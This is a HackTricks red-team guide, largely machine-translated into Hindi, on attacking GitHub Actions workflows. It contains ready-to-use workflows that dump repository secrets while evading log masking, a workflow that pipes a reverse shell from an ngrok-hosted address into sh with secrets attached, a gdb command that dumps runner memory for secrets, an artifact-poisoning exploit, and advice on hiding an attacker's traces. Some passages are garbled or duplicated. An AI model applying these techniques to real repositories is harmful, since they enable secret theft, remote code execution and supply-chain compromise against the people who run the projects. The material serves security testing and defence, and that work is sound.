Abusing Github Actions

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Basic Information

इस पृष्ठ पर आपको मिलेगा:

एक सारांश सभी प्रभावों का जब एक हमलावर Github Action तक पहुँचने में सफल होता है
एक्शन तक पहुँचने के विभिन्न तरीके:
एक्शन बनाने के लिए अनुमतियाँ होना
पुल अनुरोध से संबंधित ट्रिगर्स का दुरुपयोग करना
अन्य बाहरी पहुँच तकनीकों का दुरुपयोग करना
पहले से समझौता किए गए रिपॉजिटरी से पिवटिंग करना
अंततः, एक अनुभाग एक्शन के अंदर से दुरुपयोग करने के लिए पोस्ट-एक्सप्लॉइटेशन तकनीकों के बारे में (क्योंकि उल्लेखित प्रभाव उत्पन्न होते हैं)

Impacts Summary

Github Actions के बारे में मूल जानकारी के लिए यहाँ देखें.

यदि आप मनमाने Github actions निष्पादित कर सकते हैं/कोड इंजेक्ट कर सकते हैं एक रिपॉजिटरी में, तो आप सक्षम हो सकते हैं:

उस रिपॉजिटरी/संस्थान से गुप्त जानकारियाँ चुराना.
यदि आप केवल इंजेक्ट कर सकते हैं, तो आप वर्कफ़्लो में पहले से मौजूद कुछ भी चुरा सकते हैं.
अन्य प्लेटफार्मों जैसे AWS और GCP तक पहुँचने के लिए रिपॉजिटरी विशेषाधिकारों का दुरुपयोग करना.
कस्टम श्रमिकों में कोड निष्पादित करना (यदि कस्टम श्रमिकों का उपयोग किया जाता है) और वहाँ से पिवट करने की कोशिश करना.
रिपॉजिटरी कोड को ओवरराइट करना.
यह GITHUB_TOKEN के विशेषाधिकारों पर निर्भर करता है (यदि कोई हो).
डिप्लॉयमेंट्स और अन्य कलाकृतियों को समझौता करना.
यदि कोड कुछ तैनात कर रहा है या कुछ स्टोर कर रहा है, तो आप उसे संशोधित कर सकते हैं और कुछ आगे की पहुँच प्राप्त कर सकते हैं.

GITHUB_TOKEN

यह "गुप्त" (${{ secrets.GITHUB_TOKEN }} और ${{ github.token }} से आने वाला) तब दिया जाता है जब व्यवस्थापक इस विकल्प को सक्षम करता है:

यह टोकन वही है जो एक Github एप्लिकेशन उपयोग करेगा, इसलिए यह समान एंडपॉइंट्स तक पहुँच सकता है: https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps

Github को एक प्रवाह जारी करना चाहिए जो क्रॉस-रिपॉजिटरी पहुँच की अनुमति देता है GitHub के भीतर, ताकि एक रिपॉजिटरी अन्य आंतरिक रिपॉजिटरी तक पहुँच सके GITHUB_TOKEN का उपयोग करके.

आप इस टोकन की संभावित अनुमतियों को देख सकते हैं: https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token

ध्यान दें कि टोकन नौकरी पूरी होने के बाद समाप्त हो जाता है. ये टोकन इस तरह दिखते हैं: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7

इस टोकन के साथ आप कुछ दिलचस्प चीजें कर सकते हैं:

# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"commit_title":"commit_title"}'

# Approve a PR
curl -X POST \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"event":"APPROVE"}'

# Create a PR
curl -X POST \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
-d '{"head":"<branch_name>","base":"master", "title":"title"}'

ध्यान दें कि कई अवसरों पर आप Github Actions envs या secrets के अंदर github उपयोगकर्ता टोकन पा सकते हैं। ये टोकन आपको रिपॉजिटरी और संगठन पर अधिक विशेषाधिकार दे सकते हैं।

Github Action आउटपुट में secrets की सूची

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

गुप्तों के साथ रिवर्स शेल प्राप्त करें

```yaml name: revshell on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: create_pull_request: runs-on: ubuntu-latest steps: - name: Get Rev Shell run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

यह संभव है कि आप अन्य उपयोगकर्ताओं के रिपॉजिटरी में Github Token को दिए गए अनुमतियों की लॉग्स की जांच करके जांच कर सकें:

अनुमत निष्पादन

यह Github क्रियाओं को समझौता करने का सबसे आसान तरीका होगा, क्योंकि यह मामला मानता है कि आपके पास संगठन में एक नया रिपॉजिटरी बनाने का अधिकार है, या आपके पास एक रिपॉजिटरी पर लिखने के अधिकार हैं।

यदि आप इस परिदृश्य में हैं, तो आप बस पोस्ट एक्सप्लोइटेशन तकनीकें देख सकते हैं।

रिपॉजिटरी निर्माण से निष्पादन

यदि संगठन के सदस्य नए रिपॉजिटरी बना सकते हैं और आप github क्रियाएँ निष्पादित कर सकते हैं, तो आप एक नया रिपॉजिटरी बना सकते हैं और संगठन स्तर पर सेट किए गए रहस्यों को चुरा सकते हैं।

नए शाखा से निष्पादन

यदि आप एक रिपॉजिटरी में एक नई शाखा बना सकते हैं जिसमें पहले से एक Github Action कॉन्फ़िगर किया गया है, तो आप इसे संशोधित कर सकते हैं, सामग्री अपलोड कर सकते हैं, और फिर नई शाखा से उस क्रिया को निष्पादित कर सकते हैं। इस तरह आप रिपॉजिटरी और संगठन स्तर के रहस्यों को निकाल सकते हैं (लेकिन आपको यह जानना होगा कि उन्हें क्या कहा जाता है)।

आप संशोधित क्रिया को हाथ से निष्पादित कर सकते हैं, जब PR बनाया जाता है या जब कुछ कोड पुश किया जाता है (इस पर निर्भर करता है कि आप कितने शोर करना चाहते हैं):

on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name

# Use '**' instead of a branh name to trigger the action in all the cranches

Forked Execution

विभिन्न ट्रिगर्स हैं जो एक हमलावर को दूसरे रिपॉजिटरी का Github Action निष्पादित करने की अनुमति दे सकते हैं। यदि उन ट्रिगर करने योग्य क्रियाओं को खराब तरीके से कॉन्फ़िगर किया गया है, तो एक हमलावर उन्हें समझौता करने में सक्षम हो सकता है।

`pull_request`

कार्यप्रवाह ट्रिगर pull_request हर बार कार्यप्रवाह को निष्पादित करेगा जब एक पुल अनुरोध प्राप्त होता है, कुछ अपवादों के साथ: डिफ़ॉल्ट रूप से यदि यह पहली बार है जब आप सहयोग कर रहे हैं, तो कुछ रखरखावकर्ता को कार्यप्रवाह के निष्पादन को स्वीकृत करने की आवश्यकता होगी:

चूंकि डिफ़ॉल्ट सीमा पहली बार योगदानकर्ताओं के लिए है, आप एक मान्य बग/टाइपो को ठीक करने में योगदान कर सकते हैं और फिर अपने नए pull_request विशेषाधिकारों का दुरुपयोग करने के लिए अन्य PR भेज सकते हैं।

मैंने इसका परीक्षण किया और यह काम नहीं करता: एक और विकल्प होगा किसी ऐसे व्यक्ति का नाम लेकर एक खाता बनाना जिसने परियोजना में योगदान दिया और उसका खाता हटा दिया।

इसके अलावा, डिफ़ॉल्ट रूप से लिखने की अनुमति और गुप्त जानकारी तक पहुंच को लक्षित रिपॉजिटरी में रोकता है जैसा कि दस्तावेज़ में उल्लेख किया गया है:

GITHUB_TOKEN के अपवाद के साथ, गुप्त जानकारी को रनर को नहीं भेजा जाता जब कार्यप्रवाह एक फोर्क किए गए रिपॉजिटरी से ट्रिगर किया जाता है। **GITHUB_TOKEN में पुल अनुरोधों में पढ़ने की केवल अनुमति होती है फोर्क किए गए रिपॉजिटरी से।

एक हमलावर Github Action की परिभाषा को संशोधित कर सकता है ताकि मनमाने कार्यों को निष्पादित किया जा सके और मनमाने कार्यों को जोड़ा जा सके। हालाँकि, वह गुप्त जानकारी चुराने या रिपॉजिटरी को ओवरराइट करने में सक्षम नहीं होगा क्योंकि उल्लेखित सीमाएँ हैं।

हाँ, यदि हमलावर PR में उस github action को बदलता है जो ट्रिगर किया जाएगा, तो उसका Github Action उपयोग किया जाएगा और मूल रिपॉजिटरी का नहीं!

चूंकि हमलावर द्वारा निष्पादित कोड पर भी नियंत्रण होता है, भले ही GITHUB_TOKEN पर गुप्त जानकारी या लिखने की अनुमति न हो, एक हमलावर उदाहरण के लिए दुष्ट कलाकृतियाँ अपलोड कर सकता है।

`pull_request_target`

कार्यप्रवाह ट्रिगर pull_request_target को लक्षित रिपॉजिटरी में लिखने की अनुमति और गुप्त जानकारी तक पहुंच होती है (और अनुमति नहीं मांगता)।

ध्यान दें कि कार्यप्रवाह ट्रिगर pull_request_target बेस संदर्भ में चलता है और PR द्वारा दिए गए संदर्भ में नहीं (ताकि अविश्वसनीय कोड निष्पादित न हो)। pull_request_target के बारे में अधिक जानकारी के लिए दस्तावेज़ देखें। इसके अलावा, इस विशिष्ट खतरनाक उपयोग के बारे में अधिक जानकारी के लिए इस github ब्लॉग पोस्ट की जांच करें।

यह लग सकता है कि क्योंकि निष्पादित कार्यप्रवाह वह है जो बेस में परिभाषित है और PR में नहीं है, इसलिए pull_request_target का उपयोग करना सुरक्षित है, लेकिन कुछ केस हैं जहाँ यह नहीं है।

और यह एक गुप्त जानकारी तक पहुंच होगी।

`workflow_run`

workflow_run ट्रिगर एक कार्यप्रवाह को एक अलग कार्यप्रवाह से चलाने की अनुमति देता है जब यह पूर्ण, अनुरोधित या प्रगति में हो।

इस उदाहरण में, एक कार्यप्रवाह को अलग "परीक्षण चलाएँ" कार्यप्रवाह के पूरा होने के बाद चलाने के लिए कॉन्फ़िगर किया गया है:

on:
workflow_run:
workflows: [Run Tests]
types:
- completed

Moreover, according to the docs: The workflow started by the workflow_run event is able to access secrets and write tokens, even if the previous workflow was not.

इस प्रकार का वर्कफ़्लो हमला किया जा सकता है यदि यह एक वर्कफ़्लो पर निर्भर है जिसे एक बाहरी उपयोगकर्ता द्वारा pull_request या pull_request_target के माध्यम से प्रेरित किया जा सकता है। कुछ कमजोर उदाहरण इस ब्लॉग में पाया जा सकता है. पहला उदाहरण workflow_run द्वारा प्रेरित वर्कफ़्लो है जो हमलावर के कोड को डाउनलोड करता है: ${{ github.event.pull_request.head.sha }} दूसरा उदाहरण workflow_run वर्कफ़्लो में अविश्वसनीय कोड से एक कलाकृति को पास करने और इस कलाकृति की सामग्री का उपयोग करने का है जिससे यह RCE के लिए कमजोर हो जाता है।

`workflow_call`

TODO

TODO: जांचें कि जब इसे pull_request से निष्पादित किया जाता है तो उपयोग किया गया/डाउनलोड किया गया कोड मूल से है या फोर्क किए गए PR से

Forked Execution का दुरुपयोग

हमने सभी तरीकों का उल्लेख किया है जिनसे एक बाहरी हमलावर एक गिटहब वर्कफ़्लो को निष्पादित करने में सक्षम हो सकता है, अब आइए देखें कि यदि ये निष्पादन, यदि गलत तरीके से कॉन्फ़िगर किए गए हैं, तो कैसे दुरुपयोग किया जा सकता है:

अविश्वसनीय चेकआउट निष्पादन

pull_request के मामले में, वर्कफ़्लो PR के संदर्भ में निष्पादित होगा (इसलिए यह दुष्ट PRs कोड को निष्पादित करेगा), लेकिन किसी को इसे पहले अधिकृत करना होगा और यह कुछ सीमाओं के साथ चलेगा।

यदि एक वर्कफ़्लो pull_request_target या workflow_run का उपयोग कर रहा है जो एक वर्कफ़्लो पर निर्भर है जिसे pull_request_target या pull_request से प्रेरित किया जा सकता है, तो मूल रेपो का कोड निष्पादित होगा, इसलिए हमलावर निष्पादित कोड को नियंत्रित नहीं कर सकता।

हालांकि, यदि एक्शन में एक स्पष्ट PR चेकआउट है जो PR से कोड प्राप्त करेगा (और आधार से नहीं), तो यह हमलावर द्वारा नियंत्रित कोड का उपयोग करेगा। उदाहरण के लिए (लाइन 12 देखें जहां PR कोड डाउनलोड किया गया है):

# INSECURE. Provided as an example only.
on:
pull_request_target

jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!

संभावित रूप से अविश्वसनीय कोड npm install या npm build के दौरान चलाया जा रहा है क्योंकि निर्माण स्क्रिप्ट और संदर्भित पैकेज PR के लेखक द्वारा नियंत्रित हैं।

कमजोर एक्शन की खोज के लिए एक गिटहब डॉर्क है: event.pull_request pull_request_target extension:yml हालाँकि, भले ही एक्शन को असुरक्षित रूप से कॉन्फ़िगर किया गया हो, फिर भी कार्यों को सुरक्षित रूप से निष्पादित करने के लिए विभिन्न तरीके हैं (जैसे कि यह देखने के लिए कि PR उत्पन्न करने वाला अभिनेता कौन है)।

संदर्भ स्क्रिप्ट इंजेक्शन

ध्यान दें कि कुछ गिटहब संदर्भ हैं जिनके मान उपयोगकर्ता द्वारा नियंत्रित होते हैं जो PR बना रहा है। यदि गिटहब एक्शन उस डेटा का उपयोग करके कुछ निष्पादित कर रहा है, तो यह मनमाने कोड निष्पादन की ओर ले जा सकता है:

Gh Actions - Context Script Injections

GITHUB_ENV स्क्रिप्ट इंजेक्शन

दस्तावेज़ों के अनुसार: आप किसी वर्कफ़्लो नौकरी में किसी भी बाद के चरणों के लिए एक पर्यावरण चर उपलब्ध करा सकते हैं, इसे परिभाषित या अपडेट करके और इसे GITHUB_ENV पर्यावरण फ़ाइल में लिखकर।

यदि एक हमलावर इस env चर के अंदर कोई भी मान इंजेक्ट कर सकता है, तो वह env चर को इंजेक्ट कर सकता है जो अगले चरणों में कोड निष्पादित कर सकता है जैसे LD_PRELOAD या NODE_OPTIONS।

उदाहरण के लिए (यह और यह), कल्पना करें कि एक वर्कफ़्लो एक अपलोड की गई कलाकृति पर भरोसा कर रहा है ताकि इसकी सामग्री को GITHUB_ENV env चर के अंदर संग्रहीत किया जा सके। एक हमलावर इसे समझौता करने के लिए कुछ इस तरह अपलोड कर सकता है:

कमजोर तृतीय पक्ष गिटहब एक्शन

dawidd6/action-download-artifact

जैसा कि इस ब्लॉग पोस्ट में उल्लेख किया गया है, यह गिटहब एक्शन विभिन्न वर्कफ़्लो और यहां तक कि रिपॉजिटरी से कलाकृतियों तक पहुंच की अनुमति देता है।

समस्या यह है कि यदि path पैरामीटर सेट नहीं किया गया है, तो कलाकृति वर्तमान निर्देशिका में निकाली जाती है और यह उन फ़ाइलों को ओवरराइट कर सकती है जो बाद में वर्कफ़्लो में उपयोग की जा सकती हैं या यहां तक कि निष्पादित की जा सकती हैं। इसलिए, यदि कलाकृति कमजोर है, तो एक हमलावर इसका दुरुपयोग करके अन्य वर्कफ़्लो को समझौता कर सकता है जो कलाकृति पर भरोसा करते हैं।

कमजोर वर्कफ़्लो का उदाहरण:

on:
workflow_run:
workflows: ["some workflow"]
types:
- completed

jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py

यह इस वर्कफ़्लो के साथ हमला किया जा सकता है:

name: "some workflow"
on: pull_request

jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py

अन्य बाहरी पहुँच

हटाए गए Namespace Repo Hijacking

यदि एक खाता अपना नाम बदलता है, तो कुछ समय बाद कोई अन्य उपयोगकर्ता उस नाम के साथ एक खाता पंजीकृत कर सकता है। यदि एक रिपॉजिटरी के पास नाम बदलने से पहले 100 सितारों से कम थे, तो Github नए पंजीकृत उपयोगकर्ता को उसी नाम के साथ एक रिपॉजिटरी बनाने की अनुमति देगा जो हटाई गई थी।

तो यदि एक क्रिया एक गैर-मौजूद खाते से एक रिपॉजिटरी का उपयोग कर रही है, तो यह संभव है कि एक हमलावर उस खाते को बना सके और क्रिया को समझौता कर सके।

यदि अन्य रिपॉजिटरी इस उपयोगकर्ता के रिपॉजिटरी से निर्भरताएँ का उपयोग कर रही हैं, तो एक हमलावर उन्हें हाइजैक कर सकेगा। यहाँ आपके पास एक अधिक पूर्ण व्याख्या है: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/

Repo Pivoting

इस अनुभाग में हम उन तकनीकों के बारे में बात करेंगे जो एक रिपॉजिटरी से दूसरी रिपॉजिटरी में पिवट करने की अनुमति देंगी, मानते हुए कि हमारे पास पहले वाले पर कुछ प्रकार की पहुँच है (पिछली अनुभाग देखें)।

कैश पॉइज़निंग

एक कैश समान शाखा में वर्कफ़्लो रन के बीच बनाए रखा जाता है। जिसका अर्थ है कि यदि एक हमलावर समझौता करता है एक पैकेज जो फिर कैश में संग्रहीत होता है और डाउनलोड और अधिक विशेषाधिकार प्राप्त वर्कफ़्लो द्वारा निष्पादित होता है, तो वह उस वर्कफ़्लो को भी समझौता कर सकेगा।

GH Actions - Cache Poisoning

आर्टिफैक्ट पॉइज़निंग

वर्कफ़्लो अन्य वर्कफ़्लो और यहां तक कि रिपॉजिटरी से आर्टिफैक्ट्स का उपयोग कर सकते हैं, यदि एक हमलावर समझौता करता है उस Github Action को जो एक आर्टिफैक्ट अपलोड करता है जो बाद में किसी अन्य वर्कफ़्लो द्वारा उपयोग किया जाता है, तो वह अन्य वर्कफ़्लो को समझौता कर सकता है:

Gh Actions - Artifact Poisoning

एक क्रिया से पोस्ट एक्सप्लॉइटेशन

OIDC के माध्यम से AWS और GCP तक पहुँच

निम्नलिखित पृष्ठों की जाँच करें:

AWS - Federation Abuse GCP - Federation Abuse

रहस्यों तक पहुँच

यदि आप एक स्क्रिप्ट में सामग्री इंजेक्ट कर रहे हैं, तो यह जानना दिलचस्प है कि आप रहस्यों तक कैसे पहुँच सकते हैं:

यदि रहस्य या टोकन को पर्यावरण चर पर सेट किया गया है, तो इसे printenv का उपयोग करके सीधे पर्यावरण के माध्यम से एक्सेस किया जा सकता है।

Github Action आउटपुट में रहस्यों की सूची

secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

</details>

<details>

<summary>गुप्तों के साथ रिवर्स शेल प्राप्त करें</summary>
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

यदि गुप्त को एक्सप्रेशन में सीधे उपयोग किया जाता है, तो उत्पन्न शेल स्क्रिप्ट ऑन-डिस्क संग्रहीत होती है और सुलभ होती है।

cat /home/runner/work/_temp/*

* एक JavaScript क्रियाओं के लिए गुप्त और पर्यावरण चर के माध्यम से भेजे जाते हैं
* ```bash
ps axe | grep node

एक कस्टम क्रिया के लिए, जोखिम इस बात पर निर्भर कर सकता है कि एक प्रोग्राम ने आर्गुमेंट से प्राप्त गुप्त का उपयोग कैसे किया है:

uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}

स्वयं-होस्टेड रनर्स का दुरुपयोग

यह पता लगाने का तरीका कि कौन सी Github Actions गैर-github अवसंरचना में निष्पादित हो रही हैं वह है कि Github Action कॉन्फ़िगरेशन yaml में runs-on: self-hosted के लिए खोजें।

स्वयं-होस्टेड रनर्स को अतिरिक्त संवेदनशील जानकारी तक पहुंच हो सकती है, अन्य नेटवर्क सिस्टम (नेटवर्क में कमजोर एंडपॉइंट? मेटाडेटा सेवा?) या, भले ही यह अलग-थलग और नष्ट हो जाए, एक से अधिक क्रियाएं एक ही समय में चलाई जा सकती हैं और दुर्भावनापूर्ण एक दूसरे के गुप्त चुराने में सक्षम हो सकता है।

स्वयं-होस्टेड रनर्स में यह भी संभव है कि _Runner.Listener_** प्रक्रिया** से गुप्त प्राप्त करें जो किसी भी चरण पर कार्यप्रवाह के सभी गुप्त को अपनी मेमोरी को डंप करके शामिल करेगा:

sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"

चेक करें इस पोस्ट के लिए अधिक जानकारी।

Github Docker Images Registry

यह संभव है कि Github actions बनाई जाएं जो Github के अंदर एक Docker इमेज बनाएँ और स्टोर करें। एक उदाहरण निम्नलिखित विस्तार योग्य में पाया जा सकता है:

Github Action Build & Push Docker Image

```yaml [...]

name: Set up Docker Buildx uses: docker/setup-buildx-action@v1
name: Login to GitHub Container Registry uses: docker/login-action@v1 with: registry: ghcr.io username: ${{ github.repository_owner }} password: ${{ secrets.ACTIONS_TOKEN }}
name: Add Github Token to Dockerfile to be able to download code run: | sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
name: Build and push uses: docker/build-push-action@v2 with: context: . push: true tags: | ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}

[...]

</details>

जैसा कि आप पिछले कोड में देख सकते हैं, Github रजिस्ट्री **`ghcr.io`** पर होस्ट की गई है।

एक उपयोगकर्ता जिसे रेपो पर पढ़ने की अनुमति है, वह फिर एक व्यक्तिगत एक्सेस टोकन का उपयोग करके Docker इमेज डाउनलोड कर सकेगा:
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>

Then, the user could search for leaked secrets in the Docker image layers:

Github Actions लॉग में संवेदनशील जानकारी

यहां तक कि अगर Github गुप्त मानों का पता लगाने की कोशिश करता है और उन्हें दिखाने से बचता है, तो अन्य संवेदनशील डेटा जो क्रिया के निष्पादन में उत्पन्न हो सकता है, छिपा नहीं होगा। उदाहरण के लिए, एक JWT जो एक गुप्त मान के साथ हस्ताक्षरित है, वह तब तक छिपा नहीं होगा जब तक कि इसे विशेष रूप से कॉन्फ़िगर नहीं किया गया है।

अपने निशान छुपाना

(तकनीक यहां से) सबसे पहले, कोई भी PR जो उठाया गया है, वह स्पष्ट रूप से Github में सार्वजनिक रूप से और लक्षित GitHub खाते के लिए दिखाई देता है। GitHub में डिफ़ॉल्ट रूप से, हम इंटरनेट से एक PR को हटा नहीं सकते, लेकिन इसमें एक मोड़ है। उन GitHub खातों के लिए जो Github द्वारा निलंबित हैं, उनके सभी PRs स्वचालित रूप से हटा दिए जाते हैं और इंटरनेट से हटा दिए जाते हैं। इसलिए अपनी गतिविधियों को छिपाने के लिए आपको या तो अपने GitHub खाते को निलंबित कराना होगा या अपने खाते को झंडा लगवाना होगा। यह आपकी सभी गतिविधियों को GitHub पर इंटरनेट से छिपा देगा (बुनियादी रूप से आपके सभी शोषण PR को हटा देगा)

GitHub में एक संगठन खातों की रिपोर्ट करने में बहुत सक्रिय है। आपको बस "कुछ चीजें" Issue में साझा करनी हैं और वे सुनिश्चित करेंगे कि आपका खाता 12 घंटे में निलंबित हो जाए :p और आपके पास है, अपने शोषण को github पर अदृश्य बना दिया।

एक संगठन के लिए यह पता लगाने का एकमात्र तरीका है कि वे लक्षित हुए हैं, SIEM से GitHub लॉग की जांच करना है क्योंकि GitHub UI से PR हटा दिया जाएगा।

उपकरण

निम्नलिखित उपकरण GitHub Action वर्कफ़्लो खोजने और यहां तक कि कमजोर लोगों को खोजने के लिए उपयोगी हैं:

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE) GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

PreviousGithub Security NextGh Actions - Artifact Poisoning

Last updated 1 month ago